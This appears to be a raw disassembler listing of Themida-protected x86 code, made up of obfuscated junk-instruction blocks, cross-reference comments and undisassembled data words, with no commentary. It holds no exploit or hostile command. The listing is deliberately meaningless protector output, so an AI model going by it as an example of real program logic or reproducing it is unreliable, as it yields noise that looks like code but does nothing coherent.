; CODE XREF: Themida_:00560498j xchg eax, [esp] pop esp sub esp, 4 jmp loc_55A8B3 ; --------------------------------------------------------------------------- loc_55B947: ; CODE XREF: Themida_:00554D76j push ebp mov ebp, 37111B25h sub ebp, 6A2E1C8Dh not ebp dec ebp not ebp sub ebp, 0EAA5E48Dh sub ecx, 677A7B4Bh add ecx, ebp add ecx, 677A7B4Bh pop ebp jmp loc_54F685 ; --------------------------------------------------------------------------- loc_55B972: ; CODE XREF: Themida_:0055D756j mov ecx, 61602000h add ebx, ecx pop ecx mov eax, [esp] add esp, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push 3DB2h mov [esp], ebp push esp pop ebp jmp loc_552C81 ; --------------------------------------------------------------------------- loc_55B999: ; CODE XREF: Themida_:0055DE71j push ecx mov ecx, 37682024h jmp loc_55D536 ; --------------------------------------------------------------------------- loc_55B9A4: ; CODE XREF: Themida_:00550C7Cj or esi, 7E095099h shl esi, 8 inc esi xor esi, 9CAEAC54h xor ebp, esi pop esi add esi, ebp pop ebp and edx, esi pop esi jmp loc_55D078 ; --------------------------------------------------------------------------- loc_55B9C2: ; CODE XREF: Themida_:00552984j mov [esp], ebp jmp loc_550E6F ; --------------------------------------------------------------------------- aSO db ')Ú[',9,'×é!o',0 align 4 loc_55B9D4: ; CODE XREF: Themida_:005586E1j mov edx, [esp] add esp, 4 and ebx, 23186B67h push edi mov edi, 36D56CB9h jmp loc_55B5A2 ; --------------------------------------------------------------------------- db 89h dd 0FB015BDFh, 24B0E9h db 0 ; --------------------------------------------------------------------------- loc_55B9F5: ; CODE XREF: Themida_:0054E348j add esi, ebp pop ebp jmp loc_556B03 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0FF24248Bh, 52582434h, 0FFAE92E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BA0D: ; CODE XREF: Themida_:0055C203j pop edi jmp loc_55E3C7 ; --------------------------------------------------------------------------- loc_55BA13: ; CODE XREF: Themida_:0055550Dj pop ebp add ebp, ecx pop ecx add ebp, 2 jmp loc_551BD5 ; --------------------------------------------------------------------------- loc_55BA22: ; CODE XREF: Themida_:00560AC0j inc ebx xor ebx, 0DD0AF3C6h mov esi, ebx pop ebx push eax mov eax, 7A992129h and esi, eax pop eax xor esi, 495315F6h add ecx, esi mov esi, [esp] add esp, 4 sub ebx, 2EDA2116h add ebx, 2FD91D86h jmp loc_556F6E ; --------------------------------------------------------------------------- dd 0A3E9F101h, 83FFFF4Fh, 0BE904C4h, 81FFFFDFh, 0F4028BE3h dd 4EBC13Eh, 50C8B951h, 0CB0941EAh, 7E3C159h, 681CE9h dd 243C8B00h, 4C481h, 732D0000h, 0E92E257Bh, 0FFFF4EBAh ; --------------------------------------------------------------------------- loc_55BA90: ; CODE XREF: Themida_:00553822j pop eax xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] bt [esp], ax pushf jmp loc_5556B6 ; --------------------------------------------------------------------------- dd 6F8568h, 243C8900h, 996EE957h, 0E951FFFFh, 0FFFF52AFh dd 5585450h, 4, 0E904E883h, 0FFFF8FD2h, 0BA241489h, 5F2D37AAh dd 7377E281h, 0E5E979D8h, 0BBFFFFD9h, 0A240C17h, 815BD901h dd 347826E9h, 0E9F92955h, 0FFFF8F96h, 40AEF81h, 0CF290B2Ch dd 40AC781h, 0F7590B2Ch, 0D8BE56DFh, 815EF67Fh, 8B89F8C6h dd 5E0E9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BB16: ; CODE XREF: Themida_:0054F12Dj mov [esp], ecx jmp loc_562313 ; --------------------------------------------------------------------------- dw 8B66h dd 0D2682404h, 8900006Ch, 0E682404h, 8900000Eh, 4812424h dd 424h, 0B4685800h, 89000004h, 0B8502414h, 2E5F3E1Eh dd 753A3548h, 0C28950CCh, 4EC8158h, 89000000h, 14F72414h dd 24148B24h, 81E28952h, 4C2h, 4C28300h, 0E9241487h, 0FFFFD401h ; --------------------------------------------------------------------------- loc_55BB74: ; CODE XREF: Themida_:0055908Dj mov eax, 5C3AC06Eh jmp loc_55A52B ; --------------------------------------------------------------------------- dw 50B8h dd 2D138523h, 0FFFFFFFFh, 85234F2Dh, 0FFC70113h, 48B2434h dd 751EE924h, 0C681FFFFh, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55948A ; --------------------------------------------------------------------------- loc_55BBA8: ; CODE XREF: Themida_:0055BF7Cj add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_55380A ; --------------------------------------------------------------------------- db 80h dd 0C180D4E9h, 0C3E98044h, 0C8BC828h, 4C48124h, 4000000h dd 66342C97h, 664EFD68h, 0B1240C89h, 66C82858h, 68240C8Bh dd 5895h, 54240489h, 69E95558h, 0E9FFFF26h, 0FFFF21B9h dd 5C243C87h, 405h, 269AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BC1A: ; CODE XREF: Themida_:005553FBj push ebp jmp loc_55D5DD ; --------------------------------------------------------------------------- dd 0E95BD901h, 5789h ; --------------------------------------------------------------------------- loc_55BC28: ; CODE XREF: Themida_:0054E48Cj sub ebp, 35F7082Ch add ecx, ebp jmp loc_550C3E ; --------------------------------------------------------------------------- loc_55BC35: ; CODE XREF: Themida_:00560326j add edx, 5F016DE1h jmp loc_55B35C ; --------------------------------------------------------------------------- dd 5D28EE81h, 8AE94D9Fh db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BC4B: ; CODE XREF: Themida_:00551214j add edi, 43E66E5Ah sub edi, 81E5A134h sub ecx, edi mov edi, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp] pop ebx jmp loc_55CDE7 ; --------------------------------------------------------------------------- db 0BEh dd 4BB1184Eh, 6EC5E681h, 0EE814407h, 2C534D22h, 41CDE9h dd 7E95400h, 8100000Ch, 4ECh, 242C8900h, 0CB0873BDh, 5DEF211Bh dd 8103EFC1h, 494E40F7h, 0B8C7810Bh, 29F5DFD1h, 0D5685FFAh dd 89000000h, 74FF2414h, 34FF0424h, 54505A24h, 6F2AE958h dd 14BBFFFFh, 4B5E2141h, 0E9CB8143h, 0D16AF828h, 2CB850EBh dd 0E958F478h, 0FFFFE119h ; --------------------------------------------------------------------------- loc_55BCE8: ; CODE XREF: Themida_:00559404j pop ebx jmp loc_557EAB ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFF2C98h, 240C8B5Bh, 0ECEFE957h, 248BFFFFh, 240CD224h dd 0FEFDE99Ch, 0F758FFFFh, 3F7CE9D0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BD12: ; CODE XREF: Themida_:00557C89j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebx push ebx jmp loc_558B9B ; --------------------------------------------------------------------------- db 68h dd 23BBh, 57241C89h, 686BD968h, 0C7815F79h, 2DD80A13h dd 3C0CE781h, 57E93972h, 81FFFF64h, 0C821B0E1h, 0A6E98157h dd 89A2A5DCh, 240C8BCDh, 4C481h, 0E9530000h, 3F4Bh, 31242C33h dd 2C33242Ch, 24248B24h, 34FFD389h, 89575A24h, 3543E9E7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BD7E: ; CODE XREF: Themida_:0055A430j pop edx xchg edi, [esp] mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_54DDC5 ; --------------------------------------------------------------------------- loc_55BD95: ; CODE XREF: Themida_:00550984j pop dword ptr [esp] push 3CBAh mov [esp], edx mov edx, esp jmp loc_557AD8 ; --------------------------------------------------------------------------- db 81h dd 5916C0CBh, 0BCC38136h, 5041C167h, 690C81B8h, 0F5093505h dd 0C30142A9h, 5BD80158h, 0A1E95053h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BDCB: ; CODE XREF: Themida_:00556D8Ej mov eax, esi mov esi, [esp] add esp, 4 pop edx jmp loc_54E4D8 ; --------------------------------------------------------------------------- db 81h, 0C2h, 66h dd 1BA9540h, 0EE95AD7h, 68FFFFAAh, 2, 9DC3815Dh, 11B943Dh dd 9DBD55EBh, 291B943Dh, 535D5DEBh, 42474FFh, 24048F5Bh dd 0FF9C75E9h, 85E94DFFh, 0E9FFFFCFh, 0FFFF1FADh, 23A3B951h dd 0E9C14224h, 98B85006h, 48528539h, 2DBDE9h, 24148900h dd 2FC3E9h db 0 ; --------------------------------------------------------------------------- loc_55BE35: ; CODE XREF: Themida_:0055AA6Fj push edi mov eax, [esp] add esp, 4 push 4FAAh mov [esp], ebp mov ebp, eax mov edx, ebp pop ebp pop eax jmp loc_55A03D ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFF1FF5h, 8EED815Bh, 8118E203h, 78EE2C5h, 5DEA8958h dd 0EA81DAF7h, 7F58199Ah, 2607C281h, 0D301EFBAh, 0E924148Bh dd 0FFFF6338h, 38B850h, 0E9500000h, 63Bh, 1492EE81h, 0FDE96410h db 3Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BE97: ; CODE XREF: Themida_:0055B269j pop ebp xchg ebx, [esp] mov esp, [esp] or eax, eax jnz loc_55504D sub esp, 4 mov [esp], edi push edx jmp loc_555C7F ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 81000000h, 4C7h, 243C8700h, 4F94E95Ch, 0CE010000h, 0FF768CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55BED1: ; CODE XREF: Themida_:005529C0j pop esi sub esi, 340B06D8h pop eax sub eax, 52C92F96h sub eax, 110D030Fh add eax, esi add eax, 110D030Fh add eax, 52C92F96h pop esi push esi mov esi, 4 add eax, esi pop esi jmp loc_553122 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0FFAB17E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BF09: ; CODE XREF: Themida_:0054F265j add edi, 43C44C8Dh pop ebx push 223h mov [esp], edi push 6A21h mov [esp], ecx push ebx jmp loc_5618BC ; --------------------------------------------------------------------------- dw 9AE9h dd 0C1FFFF1Eh, 6EE906EAh, 81FFFFF3h, 4C6h, 4BD5500h, 1000000h dd 429CE9EEh, 0C7830000h, 2DDD68FFh, 34890000h, 95EBE24h dd 0E6C116FDh, 7AE68108h, 4E6D7534h, 728AEE81h, 0C68146A3h dd 0CEFE03AEh, 348BF701h, 4C48324h, 3C8BFD01h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55BBA8 ; --------------------------------------------------------------------------- db 66h, 87h, 0DEh dd 66D3F766h, 6653DE87h, 66689DBBh, 0C166D3F7h, 0E906EBh dd 81FFFF20h, 47A5E5C6h, 57760569h, 32E935A5h, 0BDFFFFDCh dd 4, 34FFEF01h, 0C4835D24h, 0FFE95504h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BFBF: ; CODE XREF: Themida_:0054FFB4j push edi mov edi, 2 add ebp, edi pop edi xchg ebp, [esp] jmp loc_561E36 ; --------------------------------------------------------------------------- dd 76F30558h, 295A48B5h, 58082444h, 4246C81h, 57BB25F4h dd 24348B5Bh, 6804C483h, 172Dh, 0B8240489h, 24h, 4442C681h dd 0C6817086h, 43CA1FB3h, 1F68C601h, 8900000Ch, 8BBF243Ch dd 0C102E373h, 555206E7h, 0A5528CBDh, 0D11E961h, 0C3810000h dd 1722E9C0h, 0FFFBF3E9h, 24148BFFh, 0FF04C483h, 52592434h dd 0C281E289h, 4, 8704EA83h, 895C2414h, 0E189240Ch, 4C181h dd 31E90000h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C057: ; CODE XREF: Themida_:0055F667j add ebp, 48E54E14h sub ebp, ebx jmp loc_557A83 ; --------------------------------------------------------------------------- dd 335EF701h, 3C31243Ch, 243C3324h, 6624248Bh, 66C8AF0Fh dd 46E99C51h, 81FFFF1Dh, 550F68E1h, 0BCC18173h, 18CBFF5h dd 0C7E959CAh, 29FFFF91h, 148758C2h, 0BAE95C24h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C09F: ; CODE XREF: Themida_:00558CDEj pop ebp xor edx, 2B894AE3h inc edx and edx, 25EE5761h add edx, 10A85FFDh push eax jmp loc_551D95 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0BFh dd 8145D37Dh, 2C507DEAh, 90E28120h, 8166D732h, 51E5CFC2h dd 10A2059Ch, 0D02953D1h, 0FFD04FE9h, 240489FFh, 63D8BF57h dd 9FE9393Dh, 0FFFF20h, 1C8B66F8h, 53C5E924h, 0F7010000h dd 8124348Bh, 4C4h, 51555700h, 0DF4071B9h, 2383E93Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C10E: ; CODE XREF: Themida_:00561648j mov edi, 37336691h sub [esp+4], edi push dword ptr [esp] pop edi add esp, 4 mov eax, [esp] jmp loc_56164D ; --------------------------------------------------------------------------- dw 2C33h dword_55C128 dd 0C895C24h, 52595424h, 855D2FBAh, 87524A55h, 0D3F7241Ch dd 621AE9h, 48B6600h, 8B545024h, 0C4812404h, 4, 2603E953h dd 0BA520000h, 5FA53AE8h, 8105E2C1h, 1E5631CAh, 7EAC10Dh dd 0B7B85057h, 0E9165B76h, 0FFFFC64Ah, 8887C580h, 73E959EAh dd 83FFFFC8h, 248904ECh, 24048324h, 8BE95804h, 87000015h dd 248B2434h, 2434FF24h, 0E924148Bh, 0FFFF365Ah, 0BD555954h dd 20856AD5h, 6CE58145h, 81468850h, 804040EDh, 5DE90100h dd 0FFC8EEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C1BD: ; CODE XREF: Themida_:00554EE8j mov edx, 4 add esi, edx pop edx xor esi, [esp] jmp loc_556341 ; --------------------------------------------------------------------------- db 52h, 0BAh, 3Eh dd 0E920C86Fh, 0FFFF3958h, 24048B66h, 8904EC83h, 0E389241Ch dd 73AA6855h, 0C15D62F0h, 0ED8108EDh, 62F06Fh, 0FF816BE9h dd 0C8B66FFh, 2DC9E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C202: ; CODE XREF: Themida_:0055F139j pop eax jmp loc_55BA0D ; --------------------------------------------------------------------------- loc_55C208: ; CODE XREF: Themida_:00558C9Cj push edx mov edx, 0C941140h jmp loc_5616AD ; --------------------------------------------------------------------------- loc_55C213: ; CODE XREF: Themida_:0054F789j add esi, edx pop edx jmp loc_5543E6 ; --------------------------------------------------------------------------- loc_55C21B: ; CODE XREF: Themida_:005598D5j not eax push edx push eax mov edx, [esp] add esp, 4 pop eax xor edx, 11731CA0h xor edx, 7A9DA35Bh add ebp, edx mov edx, [esp] add esp, 4 jmp loc_5575B3 ; --------------------------------------------------------------------------- loc_55C23F: ; CODE XREF: Themida_:005603AFj add esp, 4 shr ecx, 6 push 68BCh mov [esp], ebx jmp loc_555271 ; --------------------------------------------------------------------------- loc_55C252: ; CODE XREF: Themida_:00557CDBj add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop dword ptr [esp] pop esp mov [esp], esi mov esi, 1 and eax, esi pop esi jmp loc_558B76 ; --------------------------------------------------------------------------- loc_55C279: ; CODE XREF: Themida_:0055161Ej add esp, 2 add bl, 8Fh sub bl, 3Eh add bl, al add bl, 3Eh sub bl, 8Fh sub bl, 0A7h movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dw 0C361h dd 0FFFF5CE9h, 242C89FFh, 4BDh, 0B87CE900h, 0E368FFFFh dd 8900003Eh, 0ACB9240Ch, 5372B953h, 0FF4A2CE9h, 2C483FFh dd 6EE9D828h, 83FFFFE1h, 0BE5604C4h, 2, 0FF7472E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C2D5: ; CODE XREF: Themida_:00550EF3j pop eax pop dword ptr [esp] pop esp mov [esp], eax xor [esp], eax xor eax, [esp] xor [esp], eax not eax xor [esp], eax jmp loc_556BBE ; --------------------------------------------------------------------------- dd 0DE9EF29h, 0FFFFFF65h, 835A2434h, 0C8904ECh, 22856824h dd 24890000h, 0EE02E924h, 0C681FFFFh, 142B5318h, 16B85058h dd 0E902152Bh, 0FFFFC3F8h, 4C281h, 6BE90000h, 87FFFF68h dd 0F7D987CAh, 87D987D3h, 0FADEE9CAh, 0B951FFFFh, 422D47C5h dd 0F181E1D1h, 543F7C4Bh, 0BF575156h, 7F530ED6h, 1D3FF781h dd 0E7812021h, 66296415h, 0CF81E7D1h, 5CEA5BBAh, 0FF9303E9h dd 240481FFh, 4, 7B75E95Fh, 0C281FFFFh, 4, 26855h, 0F0E90000h dd 57000039h, 0BA52E789h, 210282Dh, 2AEA8142h, 1021028h dd 729EE9D7h, 0FD01FFFFh, 8AD6E95Fh, 0E95EFFFFh, 0FFFFB1F6h ; --------------------------------------------------------------------------- loc_55C3AC: ; CODE XREF: Themida_:0055FAA1j xor edi, 0EE5F9DFBh sub ebx, edi pop edi jmp loc_555F77 ; --------------------------------------------------------------------------- dw 8DB1h dd 5159CC88h, 81E9C4B5h, 56FFFF4Dh, 2F5D93BEh, 276EE923h dd 1C87FFFFh, 2DB0E924h, 0D9010000h, 1A39E981h, 1C8B7C34h dd 0E3895324h, 4C381h, 0C3810000h, 4, 0E9241C87h, 0FFFFDFF3h dd 0EAC0C2FEh, 9EA8004h, 34FFD728h, 0C4835A24h, 82F78004h dd 80A1B652h, 0E6807DE6h, 7AE68080h, 80EAC680h, 0F0283BC6h dd 51F8285Ah, 51660BB1h, 662414F6h, 0C0C1FE59h, 0CBE908E9h dd 0E9000055h, 0FFFF1985h, 6F046C04h, 5E545659h, 44B0BA52h dd 0E94A487Dh, 303Fh, 0E689565Dh, 0FF320AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C45D: ; CODE XREF: Themida_:0056225Fj sub esp, 4 jmp loc_552196 ; --------------------------------------------------------------------------- dd 0FEA2B353h, 15EB80C3h, 0F69BCB80h, 5E3C0D3h, 0FE74B151h dd 25F180C9h, 0FF7CD3E9h, 0E0C381FFh, 116E52Ch, 0E0BF57FBh dd 2916E52Ch, 0EC815FFBh, 4, 0E9241489h, 0FFFFC0E9h, 8038E580h dd 0E580A2F5h, 3EDC08Ch, 80AEC580h, 0EA280DC2h, 590DEA80h dd 8B05EA80h, 3DE9241Ch, 8BFFFF91h, 5457241Ch, 4C7815Fh dd 81000000h, 4C7h, 243C8700h, 5824248Bh, 0FFFFA0E9h, 0AE956FFh dd 68FFFF3Ah, 79F6h, 68241489h, 43CCh, 53243489h, 0FF2828E9h dd 24B850FFh, 0F74BFE6Bh, 0E0C140D0h, 4C930D07h, 6AE95DA7h dd 0BD00004Fh, 6510221Fh, 0B850D5F7h, 5BE4B39h, 825E0D1h dd 0C111C739h, 0BA5202E8h, 77FE5D72h, 0FFFB80E9h, 0CBE95CFFh dd 0B9000030h, 553F751Ah, 0C8BCE21h, 4C48124h, 4E000000h dd 0FFF19CE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C555: ; CODE XREF: Themida_:0054FB2Bj push dword ptr [esp] pop eax push 5620h mov [esp], ebx push esp mov ebx, [esp] add esp, 4 jmp loc_5561F6 ; --------------------------------------------------------------------------- dd 6624248Bh, 0E9498568h, 0FFFF1F6Ch, 0B9240C89h, 4, 7E471E05h dd 2CD10569h, 0C8293BABh, 0AB2CD12Dh, 454B683Bh, 2C890000h dd 3D51BD24h, 0E9511320h, 2236h, 24048F5Ch, 0FFC08FE9h dd 0C3815BFFh, 1, 8808EB81h, 8153A063h, 722B2404h, 0C8B58B1h dd 0E90EE924h, 4666FFFFh, 0D0F68166h, 664E6627h, 0C166D6F7h dd 9EE904E6h, 0FFFFFFF9h, 5A042474h, 8B24048Fh, 3CD32424h dd 0CEE99C24h, 0D1FFFF17h, 51DFF7E7h, 9B28C7B9h, 26AEE90Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C606: ; CODE XREF: Themida_:0055CA76j mov ecx, [esp] jmp loc_557002 ; --------------------------------------------------------------------------- loc_55C60E: ; CODE XREF: Themida_:005568F8j push 625Fh mov [esp], eax push 53A7h jmp loc_54F348 ; --------------------------------------------------------------------------- dd 8F0EF81h, 1BE93575h, 8BFFFFF9h, 89572404h, 4C781E7h dd 57000000h, 0C781E789h, 4, 8704EF83h, 895C243Ch, 7ABA2414h dd 0E9291E10h, 0FFFFC84Dh, 61A668h, 48DDE900h, 35680000h dd 89000049h, 0C3682404h, 5819345Ah, 5CFBB951h, 0BF575B05h dd 29167F4Eh, 0D8CF814Fh, 812F8C55h, 3B58CDF7h, 0E9F9311Ch dd 0FFFF4052h ; --------------------------------------------------------------------------- loc_55C68C: ; CODE XREF: Themida_:0055176Ej sub esi, 5E1B3C13h pop ebp jmp loc_54FC0B ; --------------------------------------------------------------------------- dd 1727E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C69E: ; CODE XREF: Themida_:00551B42j xchg eax, [esp] not eax xchg eax, [esp] pop ebx sub esp, 4 jmp loc_558E66 ; --------------------------------------------------------------------------- db 0F7h dd 290592D2h, 0E9784B54h, 0FFFFEEA0h, 0E951665Bh, 0FFFF2CE0h dd 4C381h, 0EB810000h, 4, 0FF3BBBE9h, 90E951FFh, 81FFFFECh dd 0F30022F2h, 5AD00131h, 0FFCF68E9h, 5EF329FFh, 81240C8Bh dd 4C4h, 50FB0100h, 4A4AD6B8h, 58C3290Dh, 83243C8Bh, 0EC8304C4h dd 241C8904h, 42474FFh, 3395E95Bh, 8966FFFFh, 9AB5240Ch dd 8B66E828h, 0C481240Ch, 2, 4EC81h, 1C890000h, 0B4505224h dd 3042B6A2h, 2434FFE6h, 4C48158h, 50000000h, 88F58851h dd 8D9DE9E8h, 0EC81FFFFh, 4, 56241489h, 0D03CA7BEh, 226EE94Bh dd 148B0000h, 4C48324h, 8B24048Fh, 0FAE92424h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C773: ; CODE XREF: Themida_:00553DF8j pop esi jmp loc_55E9E0 ; --------------------------------------------------------------------------- aRsk0 db 'RéŠ0',0 db 0 ; --------------------------------------------------------------------------- loc_55C77F: ; CODE XREF: Themida_:005595DFj add ebp, 602F280Eh not ebp neg ebp jmp loc_55D725 ; --------------------------------------------------------------------------- loc_55C78E: ; CODE XREF: Themida_:005540E2j mov ebp, [esp] push eax mov eax, esp add eax, 4 jmp loc_55140B ; --------------------------------------------------------------------------- dw 0E9C0h dd 6F54E903h, 34FFFFFFh, 0A8E95824h, 66FFFF6Fh, 343EE281h dd 0B8665066h, 84E97534h, 83000042h, 1C8904ECh, 0E9DBB324h dd 0FFFF3585h ; --------------------------------------------------------------------------- loc_55C7CC: ; CODE XREF: Themida_:0055AD90j xchg ecx, [esp] pop esp jmp loc_54DDC5 ; --------------------------------------------------------------------------- db 89h, 0E3h, 0E9h dd 0FFFF6ADBh, 2B9h, 0BEF8100h, 1584713h, 9AE953CFh db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C7EF: ; CODE XREF: Themida_:0054F082j add ecx, esi pop esi jmp loc_562616 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 4E98300h, 0E9240C87h, 0FFFF8DD7h ; --------------------------------------------------------------------------- loc_55C808: ; CODE XREF: Themida_:0055D0CCj add esp, 4 push ebp push esp pop ebp add ebp, 4 add ebp, 4 jmp loc_55A7C5 ; --------------------------------------------------------------------------- db 0FFh dd 0FF042474h, 0E95B2434h, 0FFFFD77Dh, 9A3881BBh, 5BDD294Eh dd 8904EC83h, 0E951241Ch, 0FFFFC2E5h, 36C8E952h, 0E95F0000h dd 0FFFF6073h ; --------------------------------------------------------------------------- loc_55C84C: ; CODE XREF: Themida_:0055551Fj add esi, 2 xchg esi, [esp] jmp loc_55446B ; --------------------------------------------------------------------------- dw 0EB80h dd 4EC837Dh, 0E9240C89h, 0FFFF22AFh, 0E932FF64h, 0FFFFC109h dd 0D7C38166h, 0C3816646h, 1667B65h, 0EB8166C3h, 0BF687B65h dd 89000017h, 8357242Ch, 1C8904ECh, 0F0BB6624h, 280EE910h dd 34FF0000h, 24148B24h, 0FFC53AE9h, 0E78957FFh, 40B0E9h dd 2474FF00h, 81E95804h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C8B7: ; CODE XREF: Themida_:00553EE6j mov ecx, 8190D2Ah sub esp, 4 mov [esp], edx push eax mov eax, 6AD6731Eh jmp loc_550D09 ; --------------------------------------------------------------------------- dd 1249C181h, 0C831F535h, 889E959h, 5580000h, 4, 2D30E9h dd 0E9575D00h, 0FFFFDABAh, 5D04C483h, 1D06E9h, 4573BE00h dd 64E903A8h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C903: ; CODE XREF: Themida_:0055D550j add ecx, 0C1040025h add esi, ecx jmp loc_55E050 ; --------------------------------------------------------------------------- dd 3124248Bh, 0AAE92404h, 81FFFF14h, 936ADCE7h, 5EFC128h dd 2D77EF81h, 0EF815AD8h, 4C463E76h, 0EDE9FB01h, 50FFFFD6h dd 4B8h, 58C50100h, 4319E9h, 8BDF8900h, 8951241Ch, 4C181E1h dd 83000000h, 6E904E9h, 6600003Ch, 53240C8Bh, 0C381E389h dd 4, 4EB81h, 1C870000h, 3C895C24h, 34FF5424h, 243C8B24h dd 0FFAA2BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C981: ; CODE XREF: Themida_:0055AA82j sub edi, eax mov eax, [esp] jmp loc_557651 ; --------------------------------------------------------------------------- db 0FFh dd 0C8B3877h, 56576824h, 1C890000h, 515B5424h, 4B9h, 8F0AE900h dd 0BA52FFFFh, 114A17A4h, 455AD531h, 5237E9h, 5DEA2900h dd 5AD9C281h, 0B8501999h, 2B51075Eh, 9344902Dh, 0CC41E93Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C9CE: ; CODE XREF: Themida_:0054FCE0j pop eax xor edi, [esp] xor [esp], edi jmp loc_54ECD3 ; --------------------------------------------------------------------------- loc_55C9DA: ; CODE XREF: Themida_:00561241j not dword ptr [esp] pop ecx jmp loc_551219 ; --------------------------------------------------------------------------- loc_55C9E3: ; CODE XREF: Themida_:005619F8j dec dword ptr [esp] not dword ptr [esp] jmp loc_5557C8 ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFF2B83h ; --------------------------------------------------------------------------- loc_55C9F4: ; CODE XREF: Themida_:0056289Aj xchg edx, [esp] mov esp, [esp] mov [esp], ebx jmp loc_560FA6 ; --------------------------------------------------------------------------- dw 348Bh dd 4F0F6824h, 4890000h, 0E2C4E924h, 1C8BFFFFh, 0E7D7E924h dd 34FFFFFFh, 0E9555B24h, 0FFFF1694h, 0B3E95450h, 66FFFFFEh dd 0E9240C8Bh, 0FFFFD426h, 6F5AED81h, 5DE90D34h, 1FFFFB1h dd 0E977E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CA46: ; CODE XREF: Themida_:0054E714j inc edx sub edx, 7E9001A0h sub edx, 375560FAh jmp loc_559199 ; --------------------------------------------------------------------------- dd 1E98F281h, 0F28135BAh, 0DA11595h, 0FFD52FE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CA69: ; CODE XREF: Themida_:0055FFD6j mov esp, [esp] mov [esp], esi sub dword ptr [esp], 7D1E414Eh jmp loc_55C606 ; --------------------------------------------------------------------------- loc_55CA7B: ; CODE XREF: Themida_:00558CFEj mov [esp], ebp sub dword ptr [esp], 34673B89h pop dword ptr [edi+20h] jmp loc_55EAE2 ; --------------------------------------------------------------------------- loc_55CA8D: ; CODE XREF: Themida_:005549A6j mov eax, edi jmp loc_556C7B ; --------------------------------------------------------------------------- loc_55CA94: ; CODE XREF: Themida_:005535ECj push 203Ah mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_54ED4D ; --------------------------------------------------------------------------- loc_55CAAF: ; CODE XREF: Themida_:00555CEEj pop esp mov [esp], edx mov edx, 70250C49h push edi push ecx mov ecx, edx jmp loc_5611E8 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0C681E689h, 4, 4BF57h, 0FE010000h, 2434875Fh, 4C4815Ch dd 0E9000000h, 0FFFF4D5Dh, 4112D0Dh, 0EC835101h, 2FFFE904h dd 6C810000h, 673D0424h, 55E9567Eh, 5000000h, 91808656h dd 1DFEE9h, 4BD5500h, 55000000h, 0E80F67BDh, 0E0E95631h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CB1B: ; CODE XREF: Themida_:00553ABAj and edi, edx pop edx push ebx mov ebx, 0A734B2Ah jmp loc_55875B ; --------------------------------------------------------------------------- db 30h, 0D8h, 66h dd 66524668h db 89h, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push edx jmp loc_54E025 ; --------------------------------------------------------------------------- loc_55CB3D: ; CODE XREF: Themida_:00559771j push edx push esi mov esi, 0E98584Dh mov edx, esi pop esi jmp loc_5521D2 ; --------------------------------------------------------------------------- aISun db '‰$$éãN',0 align 4 dd 4245C01h, 4244481h, 567E673Dh, 2111E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CB66: ; CODE XREF: Themida_:005505B8j add ebp, 4 push esi mov esi, 4 jmp loc_55DDEB ; --------------------------------------------------------------------------- db 83h dd 59042404h, 0FF6CBBE9h, 5EF301FFh, 0FF6476E9h, 1237E9FFh dd 0E959FFFFh, 0FFFFFBE5h, 2DF00159h, 2BF315D5h, 8124348Bh dd 4C4h, 3DE98100h, 1382D7Fh, 0E4E950C1h, 89FFFF57h, 4C381E3h dd 0E9000000h, 45F0h, 5258C101h, 